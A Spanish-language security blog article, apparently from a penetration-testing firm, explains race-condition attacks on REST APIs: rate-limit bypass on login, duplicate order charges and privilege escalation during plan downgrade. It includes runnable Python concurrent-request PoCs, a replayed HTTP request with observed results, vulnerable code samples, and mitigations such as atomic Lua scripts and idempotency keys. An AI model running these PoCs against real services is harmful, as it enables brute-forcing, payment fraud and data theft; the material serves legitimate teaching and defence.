Explotando race conditions en APIs REST modernas
Un análisis en profundidad de cómo las race conditions en endpoints concurrentes permiten bypass de límites de tarifa, duplicación de transacciones y escalada de privilegios.
Las race conditions son vulnerabilidades clásicas en sistemas concurrentes, pero su presencia en APIs REST modernas ha crecido en paralelo con la adopción de backends asíncronos, escalado horizontal y frameworks de alto rendimiento. Durante varios engagements de penetration testing hemos documentado tres clases de impacto real: bypass de rate limiting, duplicación de transacciones financieras y escalada temporal de privilegios.
Este artículo recorre cada clase con detalle técnico, PoC reproducibles y las mitigaciones que funcionan en producción.
El modelo de concurrencia que crea el problema
Frameworks modernos como FastAPI, Express o Spring Boot procesan múltiples requests de forma concurrente. Sin sincronización adecuada, operaciones que deberían ser atómicas —comprobar estado, decidir, actuar— se convierten en ventanas de explotación. El patrón vulnerable canónico es el TOCTOU (Time-Of-Check to Time-Of-Use):
- CHECK: leer el estado actual (¿tiene créditos? ¿está dentro del rate limit? ¿tiene permisos?)
- DECIDE: evaluar la condición y determinar si la operación es válida
- ACT: modificar el estado y ejecutar la acción
Si múltiples requests superan la fase CHECK simultáneamente, antes de que ninguna ejecute ACT, todas creen que el estado es favorable y proceden. El resultado depende de la semántica del endpoint, pero el impacto puede ser crítico.
Clase 1 — Bypass de rate limiting
El caso más frecuente. La gran mayoría de implementaciones de rate limiting en Redis siguen un patrón no atómico: primero se lee el contador actual y se verifica el límite; después se incrementa y se renueva el TTL. Si ambas operaciones son comandos Redis independientes, existe una ventana de explotación.
# Implementación vulnerable — FastAPI + Redis@app.post("/api/login")async def login(credentials: LoginRequest): key = f"rate:login:{credentials.email}" count = await redis.get(key) # CHECK if count and int(count) >= 5: raise HTTPException(429, "Too many attempts") await redis.incr(key) # ACT (ventana entre CHECK y aquí) await redis.expire(key, 300) return await authenticate(credentials)Enviando 50 requests simultáneas antes de que el primer INCR se complete, todas pasan el check con count=None o con un valor bajo. La técnica más efectiva para explotar esto es el single-packet attack de HTTP/2: al enviar todos los requests en el mismo TCP segment, el servidor los procesa en ráfaga y maximiza la colisión.
# PoC — single-packet attack con aiohttpimport asyncioimport aiohttpTARGET = "https://target.com/api/login"PAYLOAD = {"email": "[email protected]", "password": "wrong_pass"}CONCURRENCY = 50async def fire(): connector = aiohttp.TCPConnector(limit=CONCURRENCY) async with aiohttp.ClientSession(connector=connector) as session: tasks = [session.post(TARGET, json=PAYLOAD) for _ in range(CONCURRENCY)] # asyncio.gather garantiza el envío casi simultáneo responses = await asyncio.gather(*tasks, return_exceptions=True) codes = [r.status for r in responses if hasattr(r, "status")] print(f"200: {codes.count(200)} 429: {codes.count(429)}")asyncio.run(fire())Burp Suite Pro incluye Turbo Intruder con el script race-single-packet-attack.py que automatiza todo esto. Para HTTP/1.1 la técnica equivalente es el last-byte sync: enviar todos los requests con Connection: keep-alive reteniendo el último byte y liberarlos todos a la vez.
Clase 2 — Duplicación de transacciones
Más impactante económicamente. En una plataforma de ecommerce con la que trabajamos el endpoint de confirmación de pedido no implementaba idempotency keys. El flujo era: crear pedido → reservar stock → cobrar → confirmar. Cada paso era una operación separada sin bloqueo global.
Un usuario con saldo de 100 € creaba un pedido de 90 €, luego enviaba 30 requests de confirmación simultáneas. El resultado: el primer request reservaba el stock y lanzaba el cobro. Los siguientes requests encontraban stock reservado aún válido (el commit de reducción tardaba ~200ms) y volvían a cobrar. Conseguimos procesar el mismo pedido 4-5 veces en cada intento.
POST /api/orders/a3f9c21b/confirm HTTP/2Host: target.comAuthorization: Bearer eyJ...Content-Type: application/json{}# Enviado 30 veces en el mismo instante con Turbo Intruder# Resultado observado:# [200] Order confirmed — charge: 90.00 EUR (x4)# [409] Order already confirmed (x26)La ventana de explotación dependía de la latencia de la base de datos. Con una DB en la misma AZ (baja latencia) la ventana se cerraba en ~50ms y conseguíamos 2-3 duplicados. Con una DB cross-region (alta latencia) la ventana era de 300-400ms y los duplicados llegaban a 8-10.
Clase 3 — Escalada temporal de privilegios
La más sofisticada. Algunos sistemas actualizan el rol del usuario en la sesión de forma asíncrona: cuando un usuario hace downgrade de plan, el endpoint de downgrade pone una tarea en cola que revoca los permisos con un pequeño delay. Si en ese intervalo el usuario envía requests a endpoints privilegiados, los encuentra accesibles.
Encontramos una variante más interesante: el endpoint de upgrade de plan leía el nuevo rol desde la base de datos y lo almacenaba en un JWT de corta duración (15 min). Si se enviaban simultáneamente 1 request de downgrade y N requests de acción privilegiada, el race determinaba si las acciones se ejecutaban con el rol antiguo o el nuevo.
# PoC — race entre downgrade y acción privilegiadaimport asyncio, aiohttp, timeSESSION = "Bearer eyJ..." # token con plan Pro activoasync def downgrade(session): return await session.post( "https://target.com/api/subscription/downgrade", json={"plan": "free"}, headers={"Authorization": SESSION} )async def privileged_action(session): return await session.post( "https://target.com/api/export/full-database", headers={"Authorization": SESSION} )async def race(): async with aiohttp.ClientSession() as session: tasks = [downgrade(session)] + [privileged_action(session) for _ in range(20)] results = await asyncio.gather(*tasks, return_exceptions=True) for r in results: if hasattr(r, "status"): print(f"{r.status} — {await r.text()}")asyncio.run(race())Técnicas de detección
Desde el lado del atacante, identificar endpoints vulnerables requiere observar comportamiento bajo concurrencia alta. Un script de fuzzing básico que envía 20-50 requests simultáneos a cada endpoint POST/PUT y compara los códigos de respuesta suele revelar inconsistencias.
Los indicadores de vulnerabilidad son: múltiples respuestas 200 donde se esperaría un solo éxito, respuestas con datos duplicados, o variación en el resultado dependiendo del timing. Las herramientas más útiles son Turbo Intruder, ffuf con -rate y -t altos, y scripts Python con asyncio + aiohttp.
Mitigaciones
Redis: scripts Lua para operaciones atómicas
La solución para rate limiting es ejecutar check + increment como una operación atómica usando un script Lua o el comando INCR con comparación posterior:
-- Script Lua atómico para rate limitinglocal key = KEYS[1]local limit = tonumber(ARGV[1])local ttl = tonumber(ARGV[2])local count = redis.call("INCR", key)if count == 1 then redis.call("EXPIRE", key, ttl)endif count > limit then return 0 -- bloqueadoendreturn 1 -- permitidoIdempotency keys para transacciones
El cliente genera un UUID único por operación y lo envía en el header Idempotency-Key. El servidor almacena el resultado de la primera ejecución y devuelve el mismo resultado para requests duplicados con la misma key, sin reejecutar la operación.
# Implementación segura con idempotency key@app.post("/api/orders/{order_id}/confirm")async def confirm_order(order_id: str, request: Request): idem_key = request.headers.get("Idempotency-Key") if not idem_key: raise HTTPException(400, "Idempotency-Key header required") # Intentar escribir la clave con NX (solo si no existe) acquired = await redis.set( f"idem:{idem_key}", "pending", nx=True, ex=86400 ) if not acquired: # Ya existe — devolver el resultado cacheado cached = await redis.get(f"idem:result:{idem_key}") return JSONResponse(json.loads(cached)) # Primera ejecución — procesar y cachear resultado result = await process_order_confirmation(order_id) await redis.set(f"idem:result:{idem_key}", result.json(), ex=86400) return resultDatabase-level locking
Para escalada de privilegios y cualquier operación que requiera consistencia fuerte, SELECT FOR UPDATE en PostgreSQL o transacciones con isolation level SERIALIZABLE son la solución definitiva. El coste en latencia es real pero aceptable para operaciones críticas.
Optimistic locking con versioning (campo updated_at o version_number) es más escalable que los locks pesimistas, pero requiere que la aplicación maneje correctamente los conflictos. Muchas implementaciones de optimistic locking en ORMs tienen edge cases no cubiertos bajo alta concurrencia.
¿Quieres probar tu resistencia?
Aplicamos estas técnicas en engagements reales. Cuéntanos tu caso.